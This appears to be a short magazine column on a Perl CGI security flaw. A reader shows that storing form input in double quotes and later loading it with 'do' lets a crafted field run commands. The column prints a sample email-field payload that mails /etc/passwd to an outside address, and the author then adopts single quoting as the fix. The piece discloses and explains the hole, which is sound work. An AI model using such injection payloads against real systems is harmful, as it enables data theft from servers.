foreach $f (keys %record) {
s/\"/\\"/g;
print RECORD
"'".$f."\',\"".$in{$f}."\",\n";
}
Later on you do this statement:
do '0001.REC';
What you actually do here is execut
e unknown code! You have no idea what's inside the %record strings or how they might interact with the intricate syntax of Perl. The only thing you take care of is to escape the '"' character, but that's not enough.
Time for an example of something that may be nasty. Let's say you have a text field called email created through
<input type="text" name="email">
And someone inputs the following "email" address:
@_['mail jon_u\@dev5.byte.com <
/etc/passwd']
This will create a file called 0001.REC, which looks like this:
%record=('email', "@_['mail jon_u\
@dev5.byte.com </etc/passwd']");
[
Editor's note:
For Perl noninitiates, @_ is Perl's built-in array of arguments. The square brackets form an index into that array. In Perl, any expression that appears within square brackets will be evaluated to yield an array index. Here, the entire construct is meaningless, except for its very na
sty side effect.]
When you run that code through perl5, you will receive a copy of /etc/passwd in your mail.
Dov was right! For reasons that escape me, I had wrapped double rather than single quotes around the hash value. This invites Perl to evaluate the expression, with possibly disastrous results.
I've now switched to single-quoting the user input, as I should have done all along. This method should ensure that the input will not be evaluated, but will instead be handled as literal text.
However, as Dov's message shows, Perl can be as dangerous as it is powerful. I advise caution. Note, for example, that the hole Dov found does not exist at the time the form data is stored, but rather at the time it's loaded for use. This process need not occur -- and perhaps should not occur -- on a production Internet-connected server.
A Subtle Perl Security Pitfall
